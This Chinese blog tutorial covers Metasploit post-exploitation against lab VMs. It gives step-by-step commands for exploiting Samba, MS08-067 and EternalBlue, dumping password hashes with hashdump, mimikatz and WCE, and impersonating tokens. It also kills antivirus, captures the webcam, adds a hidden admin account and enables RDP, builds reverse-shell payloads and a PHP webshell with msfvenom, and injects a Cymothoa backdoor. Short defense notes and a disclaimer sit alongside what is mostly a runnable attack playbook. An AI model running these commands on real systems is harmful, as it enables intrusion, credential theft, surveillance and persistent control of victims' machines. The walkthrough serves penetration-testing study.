[系统安全] 三十八.Metasploit后渗透技术信息收集、权限提权和功能模块详解及防护建议

2022-11-25 10:03:40 浏览数 (1)

首先,祝大家中秋节和教师节快乐,每逢佳节倍思亲!其次,希望家乡疫情早日结束,贵阳贵安加油!

该系列文章将系统整理和深入学习系统安全、逆向分析和恶意代码检测,文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。漫漫长征路,偏向虎山行。享受过程,一起加油~

前文带领大家了解Metasploit技术,并结合作者之前的漏洞利用及WannaCry逆向经验总结。这篇文章继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!

文章目录:

  • 一.MSF漏洞利用
  • 二.后渗透攻击之信息收集 1.进程迁移 2.系统命令 3.文件系统命令
  • 三.后渗透攻击之权限提升 1.权限查询 2.利用WMIC实战MS16-032本地溢出漏洞 3.令牌窃取提权 4.Hash攻击提权
  • 四.后渗透攻击之移植自定义漏洞利用模块 1.传统MS08-067漏洞利用 2.移植github的MS17-010漏洞模块 3.深度提权
  • 五.后渗透攻击之后门 1.操作系统Cymothoa后门 2.Web后门
  • 六.总结

作者的github资源:

  • 逆向分析: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全: https://github.com/eastmountyxz/ NetworkSecuritySelf-study

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.MSF漏洞利用

上一篇文章我们详细介绍了Metasploit的基础用法及漏洞利用过程,这篇文章将介绍后渗透相关的技术,包括信息收集、权限提升、移植漏洞和后门。在介绍这些知识之前,我们先简单回顾下MSF漏洞利用的基本流程。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

收集到目标主机相关信息后,为其选择正确的Exploit和合适的Payload,然后发起攻击。作者这里选择Samba 3.x服务进行漏洞利用。

第二步,打开msfconsole。

  • msfconsole

第三步,查询Samba的漏洞利用模块,并选择合适的漏洞利用模块。

  • search samba

Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

第四步,利用漏洞模块。 在Samba服务返回的漏洞利用模块列表中,我们选择“Excellent”最杰出且时间较新的漏洞,从而提高渗透成功率。

  • use exploit/multi/samba/usermap_script

第五步,查看该漏洞利用模块可供选择的攻击载荷模块。 注意,因为目标是Linux机器,一定要选择Linux的攻击载荷。本文主要是回顾MSF漏洞攻击流程,后面会详细介绍真实的漏洞利用案例。

  • set payload cmd/unix/reverse

第六步,设置漏洞利用信息。

  • 受害主机IP:set RHOST 192.168.44.135
  • 攻击主机IP:set LHOST 192.168.44.138
  • 攻击端口:set RPORT 445

第七步,输入攻击命令exploit或run。

MSF发动攻击成功后会获取目标主机Shell,可以看到攻击主机和目标主机之间建立了Shell连接。同时可能会出现错误“Exploit completed, but no session was created”,需要注意目标主机版本信息,选择对应的攻击载荷及漏洞利用模块。建议读者多尝试各种Exploit和Payload的组合。

防御方法:

  • Samba服务漏洞发生在Samba3.0.20-25版本,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。建议将其升级到可防御的版本。
  • SMB局域网上共享文件和打印机的通信协议会出现各种漏洞,建议关闭相关的端口及防火墙设置,即使修补最新漏洞。

二.后渗透攻击之信息收集

成功地对目标机器攻击渗透后还可以做什么呢? Metasploit提供了一个非常强大的后渗透工具—— Meterpreter,该工具具有多重功能,使后续入侵变得更容易,获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后渗透利用节点,后期渗透模块有200多个,Meterpreter具有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程。
  • 易于在多进程之间迁移。
  • 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。

这里以上篇文章介绍的MS17-010漏洞为例进行说明。

同时,meterpreter的payload是真强大,它可以实现太多太多的功能了。我们可以在meterpreter下面进行help,查看相关用法。

  • Core Commands
  • File System Commands
  • Networking Commands & System Commands
  • User Interface Commands
  • Webcam Commands & Other Commands

1.进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。

(1) 获取目标主机正在运行的进程

  • ps

这些进程与我们的目标主机如XP系统打开时对应的,如下图所示。

(2) 查看Meterpreter Shell的进程号。

  • getpid

发现Meterpreter Shell进程的PID为524,Name为spoolsv.exe。


(3) 输入命令移动进程。 输入migrate命令把Shell移动到PID为1684的Explorer.exe进程里,因为该进程是一个稳定的应用。

  • migrate 1684

migrate也是一个post模块,可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀软。

渗透过程中可能会遇到问题,比如“Error: Rex::TimeoutError : Operation timed out. ”,这都需要我们学会独立解决。

完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,原先PID为1116的进程会自动关闭,如图所示。


(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移。

  • run post/windows/manage/migrate

如下所示,系统已经把原来PID为3292的进程迁移到6020。

代码语言:javascript复制
meterpreter > run post/windows/manage/migrate

[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[ ] Migrating to 6020

[ ] Successfully migrated to process 6020

2.系统命令

获得了稳定的进程后,接下来收集系统信息。后续作者想通过Python自己实现这些功能,感觉挺有意思的。

(1) 查看目标主机的系统信息。 通常会先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构。

  • sysinfo

(2) 检查目标机是否运行在虚拟机上。

  • run post/windows/gather/checkvm

可以看到当前目标机正运行在一个VMware虚拟机上,接下来我们检查虚拟机最近是否运行。

(3) 查看目标机最近的运行时间。

  • idletime

看到目标机器正在运行且运行了2 mins 49 secs。

(4) 查看目标机完整的网络设置。

  • route

除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。


(5) 查看已经渗透成功的目标主机的用户名。

  • getuid

(6) 关闭目标机操作系统杀毒软件。

  • run post/windows/manage/killav

(7) 启动目标机的远程桌面协议,对应3389端口,后面我们会利用该端口。

  • run post/windows/manage/enable_rdp

(8) 查看目标机的本地子网情况。

  • run post/windows/manage/autoroute

可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击。同时可以添加路由信息。


(9) 列举当前有多少用户登陆了目标机。

  • run post/windows/gather/enum_logged_on_users

(10) 列举完了用户之后, 继续输入命令列举安装在目标机上的应用程序。

  • run post/windows/gather/enum_applications

(11) 查看自动登陆的用户和密码。

  • run windows/gather/credentials/windows_autologin

可以看到当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图。


(12) 加载该插件截屏。

  • load espia
  • screengrab

另一个命令也可以达到同样的截屏效果。抓取成功后就生成了一个jpeg图片,保存在root目录下。

  • screenshot

(13) 查看目标机camera。

  • webcam_list

(14) take photo。

  • webcam_snap

(15) 开启模式。

  • webcam_stream

(16) 进入目标机shell。

  • shell

(17) 停止shell会话并返回meterpreter。

  • exit

3.文件系统命令

Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。

(1) 查看当前处于目标机的目录。

  • pwd或getwd

(2) 查看当前处于本地的哪个目录。

  • getlwd

(3) 列出当前目录中的所有文件。

  • ls

(4) 切换目录。

  • cd

(5) 搜索C盘中所有以".txt" 为扩展名的文件。

  • search -f *.txt -d c:\

其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。

(6) 下载目标机C盘的test.txt文件到攻击机root下。

  • download c:\test\test.txt /root

(7) 上传攻击机root目录下的test.txt文件到目标机C盘下。

  • upload /root/test.txt c:\

三.后渗透攻击之权限提升

1.权限查询

在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。

在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。

渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。

  • 纵向提权: 低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
  • 横向提权: 获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。

所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限。

(1) 查看当前权限。 在Meterpreter Shell下输入shell命令进入目标机的CMD命令行,接着输入whoami /groups命令查看我们当前的权限。

  • whoami

注意,如果提示whoami不是内部命令,则需要将whoami.exe复制到System32目录即可。

查看我们当前的权限。

  • whoami /groups

(2) 查看用户已获得的权限。 作者这里使用MS17-010漏洞提权,已经是系统管理员权限了。

  • getuid

通过getsystem命令可以尝试提权。

(3) 查看系统的已打补。

传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:windows里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。

  • systeminfo

可以看到目标机只安装了3个修补程序。

meterpreter命令如下:

(4) 利用WMIC命令列出已安装的补丁。

  • Wmic qfe get Caption,Description,HotFixID,InstalledOn

注意,作者这里没有显示详细信息,而徐老师他们显示详细信息如下图所示。

可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编号的EXP进行提权。

因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。

WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC。 需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC且不用更改任何设置。 WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。


2.利用WMIC实战MS16-032本地溢出漏洞

下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组或root。

溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。

(1) 接下来准备提权,需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。

  • search ms16-032

(2) 指定session完成提权操作。

  • use windows/local/ms16_032_secondary_logon_handle_privesc
  • set session 1

(3) 实现攻击。

  • run

注意,如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。但是作者的始终没有响应,真实的运行结果是将权限提升为System级别。

防御方式:

  • 该漏洞的安全补丁编号为KB3139914,我们只需要安装此补丁即可。为了方便提权,下面给出部分补丁编号。

微软也会定期给出对应的方法,比如:

  • Microsoft 安全公告 MS08-067 - 严重

3.令牌窃取提权

令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性、不可预测,一般hk或软件无法猜测出来。令牌有很多种,比如:

  • 访问令牌(Access Token): 表示访问控制操作主题的系统对象;
  • 密保令牌(Security token): 又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符。

在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。

前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。

(1) 查看已经获得的权限。

  • getuid

(2) 提权。

  • getsystem

发现提权失败了。

(3) 列出可用的token。

  • use incognito
  • list_tokens -u

可以看到有两种类型的令牌:

  • 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
  • 一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。

由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。

从输出的信息可以看到分配的有效令牌包含 XI....NQhacker,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。

  • impersonate token XI...NQ\hacker
  • shell
  • whoami

注意:在输入HOSTNAMEUSERNAME时需要两个反斜杠(\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。


4.Hash攻击提权

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam 文件中,当计算机运行时,该文件对所有账号进行锁定,要 想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。

(1) hashdump抓取密码 在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”

  • hashdump

注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。

(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。

  • ps
  • getsystem
  • migrate 664

(3) 导出目标机sam数据库中的Hash。

  • hashdump

(4) smart hashdump导出用户的Hash值。 另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:

  • 检查Meterpreter会话的权限和目标机操作系统类型。
  • 检查目标机是否为域控制服务器。
  • 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。

命令为:

  • run windows/gather/smart_hashdump

(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。

  • https://www.cmd5.com/

说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。


(6) 使用Quarks PwDump抓取密码 PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:

  • Local accounts NT/LM hashes history 本机NT/LM哈希 历史登录记录。
  • Domain accounts NT/LM hashes history域中的NT/LM哈希 历史登录记录。
  • Cached domain password缓存中的域管理密码。
  • Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。

运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。

  • -dhl:导出本地哈希值。
  • -dhdc:导出内存中的域控哈希值。
  • -dhd:导出域控哈希值,必须指定NTDS文件。
  • -db:导出Bitlocker信息, 必须指定NTDS文件。
  • -nt:导出NTDS文件。
  • -hist:导出历史信息,可选项。
  • -t:可选导出类型,默认导出John类型。
  • -o:导出文件到本地。

这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。

  • QuarksPwDump.exe -dhl -o 1.txt

(7) 使用WCE抓取密码。 Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。

首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。

另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。

同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。

输入samdump命令查看samdump的可用选项抓取Hash。

  • mimikatz_command -f samdump::hashes

四.后渗透攻击之移植自定义漏洞利用模块

1.传统MS08-067漏洞利用

首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

第二步,打开msfconsole。

  • msfconsole

第三步,查询漏洞模块。

  • search ms08-067

第四步,利用漏洞并设置参数。

  • use exploit/windows/smb/ms08_067_netapi 利用永恒之蓝漏洞
  • set payload windows/shell_reverse_tcp 设置payload
  • set RHOSTS 192.168.44.135 设置受害主机IP
  • set LHOST 192.168.44.138 设置本机IP地址
  • set RPORT 445 设置端口445

第五步,查看配合参数。

  • show options

注意,默认target是自动的。

第六步,利用漏洞。

  • exploit或run

此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:

  • set target 2

最终漏洞利用成功。

输出后渗透相关命令,可以进行剩余操作。


2.移植github的MS17-010漏洞模块

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。

虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。

作者之前的文章也自己实现过。

  • Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
  • Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
  • Windows漏洞利用之构建ROP链绕过DEP并获取Shell

(1) 下载漏洞利用模块至本地或自己编写相关Ruby脚本。

代码语言:javascript复制
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

运行结果如下图所示:

(2) 将 Eternalblue-Doublepulsar-Metasploit 文件夹下的rb文件复制到指定目录。

  • /usr/share/metasploit-framework/modules/exploits/windows/smb

在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。

(3) MSF重新加载全部文件。

  • reload_all

(4) 搜索该脚本文件。

  • search eternalblue_doublepulsar

(5) 使用MSF自带的Msfvenom命令生成DLL。 将MS17-010漏洞利用代码移植到Metasploit框架后,就可以实现渗透操作。但在攻击之前需要先生成一个DLL文件,如果目标主机是32位操作系统则生成32位的DLL,同理生成64位的DLL。这里涉及免杀,也可以使用PowerShell下的Empire生成DLL,后面文章介绍。

代码语言:javascript复制
64位:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.44.138 
lport=4444 -f dll -o ~/eternal11.dll
32位:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.138 
-f dll -o ~/eternal11.dll

WannaCry和永恒之蓝详细原理,推荐大家阅读我的逆向分析文章。

(6) 使用use命令加载该模块及漏洞配置。

  • use exploit/windows/smb/eternalblue_doublepulsar

(7) 漏洞利用。

  • exploit

至此,我们攻击成功。得到一个Meterpreter会话,如下图所示。

防御建议:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 为计算机安全最新补丁,微软已经发布补丁MS17-010修复该漏洞,读者也可以通过第三方工具下载补丁
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如 135、137、138、139、445、3389 等
  • 开启防火墙,及时备份重要文件

3.深度提权

接着我们需要进一步对目标XP主机进行深度提权。

(1) 增加普通用户并提升至管理员权限。

  • 增加普通用户 net user hacker 123456 /add
  • 提升管理员权限 net localgroup administrators hacker /add

Windows DOM用户常用命令如下:

代码语言:javascript复制
net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限

此时被攻击的主机新增“hacker”管理员如下图所示:

(2) 开启远程连接3389端口并进行远程操作。

代码语言:javascript复制
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:WINDOWSsystem323389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135

作者扫描发现3389端口已经开启,也可以直接利用。

(3) 输入命令连接远程IP地址,并输入我们创建好的hacker用户名及密码。

  • rdesktop 192.168.44.135

输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功登录XP系统。

这是本文的深度提权知识。

(4) 最后,我们还需要将新建的用户名hacker删除。

写到这里,整个实验就讲解完毕。


五.后渗透攻击之后门

在完成提升权限后,我们就应该建立后门(backdoor),以维持对目标主机的控制权。这样,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。

简单的说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它运行一个普通的、未经授权的用户控制计算机。

1.操作系统Cymothoa后门

后门泛指绕过目标系统安全控制体系的正规yoghurt认证过程,从而维持我们

对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供了Persistence等后渗透攻击模块,通过再目标主机上安装自动、永久服务等方式,来长久地控制目标机。这里主要介绍Cymothoa后门,还有Persistence后门,APT样本中也有各种各样的后门。

Cymothoa是一个后门工具,可以将ShellCode注入到现有进程(插进程)。借助这种注入手段,它能够把ShellCode伪装成常规程序。只要进程存在,后门就会有效,所以一般选择一些自其服务的进程来注入,例如web服务mysql、apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标shell后就可以使用cymothoa添加后门。

Cymothoa所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另一个优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。

(1) 查看程序的PID。

  • Linux:ps -aux
  • Windows:tasklist

(2) 查看ShellCode编号。 Cymothoa有很多的后门 shellcode,这些shellcode可以通过-S参数来查看。

  • cymothoa -S

(3) 生成后门程序。 成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。如选择PID为903的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口号为4444。

  • cymothoa -p 903 -s 1 -y 4444

遗憾这里失败,后续文章会更深入的讲解后门实战知识。

在实战中你需要对目标机上传编译好的Cymothoa进行后门注入,成功则如下图所示。

(4) NC连接后门程序。 注入成功后,我们通过攻击机器 kali 来使用 nc 连接,因为我第一次使用的 nvv 参数,会显示所有的详细信息,所以内容比较咋。可以看到 ip 已经是目标机的 ip,身份是 root。

  • nc -nvv IP地址 端口号

这时把msf关闭,然后再次通过nc连接,查看ip和当前用户,该后门成功被利用。

注意,该后门注入系统的进程,反弹的是该进程相应的权限(并不需要root),当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或目标主机重启,后门就会停止运行。


2.Web后门

Web后门泛指Webshell,其实就是一段网页代码,包括ASP、PHP、JSP等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务端进行一些危险的操作以后去敏感信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的方法,比入侵攻击更加隐蔽。

Web后门能给攻击者提供非常多的功能,比如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。Windows操作系统下比较出名的是“中国菜刀”,还有开源的工具如蚁剑、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享过一句话 工具的用法。

在Kali下用得比较多的是Weevely,其功能很强大,使用http头进行指令传输,唯一的缺点是只支持PHP。其实Metasploit框架中也自带了Web后面,配合Meterpreter使用时,功能更强大。接下来我们简单用Meterpreter实现一个Web后门(PHP Meterpreter后门、ASP Meterpreter后门)。

在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可以创建具有Meterpreter功能的PHP Webshell。在攻击中使用Metasploit PHP Shell的步骤如下:

  • 使用msfvenom创建一个webshell.php
  • 上传webshell.php到目标服务器
  • 运行Metasploit multi-handler开始监听
  • 访问webshell.php页面
  • 获取反弹的Metasploit Shell

(1) 通过Metasploit的Msfvenom工具会做PHP Meterpreter。

代码语言:javascript复制
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php

参数-p用于设置Payload,参数-f用于设置输出文件格式,生成的文件如下所示。

打开shutter.php文件如下图所示,这是一个webshell。

(2) 将shutter.php文件上传到目标服务器。这里是虚拟机,就直接复制到 var/www/html 目录。

(3) 开启msfconsole连接PHP后门。

通过MSF我们成功反弹服务器,最后利用Meterpreter进行后渗透操作。

注意,这里大家也可以尝试蚁剑、菜刀、冰蝎等工具。也建议大家好好思考:

  • 如何有效检测Webshell
  • 如何结合深度学习实现Webshell的自动化生成和绕WAF
  • 如何结合深度学习自动化检测Webshell

六.总结

写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要是学习徐焱老师他们的《Web安全攻防渗透测试实战指南》,同时结合作者之前的漏洞利用及WannaCry逆向经验总结。文章非常长,作者也花费了很长时间,但相信只要你认真读完并复现,肯定会有收获,尤其是对MSF的理解。

  • 一.MSF漏洞利用
  • 二.后渗透攻击之信息收集 1.进程迁移 2.系统命令 3.文件系统命令
  • 三.后渗透攻击之权限提升 1.权限查询 2.利用WMIC实战MS16-032本地溢出漏洞 3.令牌窃取提权 4.Hash攻击提权
  • 四.后渗透攻击之移植自定义漏洞利用模块 1.传统MS08-067漏洞利用 2.移植github的MS17-010漏洞模块 3.深度提权
  • 五.后渗透攻击之后门 1.操作系统Cymothoa后门 2.Web后门

学安全两年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

再次祝大家节日快乐,贵阳加油!

(By:Eastmount 2022-09-10 夜于地球 )


参考文章如下,感谢这些大佬。

  • [1] https://www.rapid7.com/products/metasploit/download/
  • [2] 《Web安全攻防渗透测试实战指南》徐焱、李文轩、王东亚老师
  • [3] https://blog.csdn.net/Eastmount
  • [4] https://www.cnblogs.com/coderge/p/13746810.html
  • [5] https://blog.csdn.net/fageweiketang/article/details/86580213
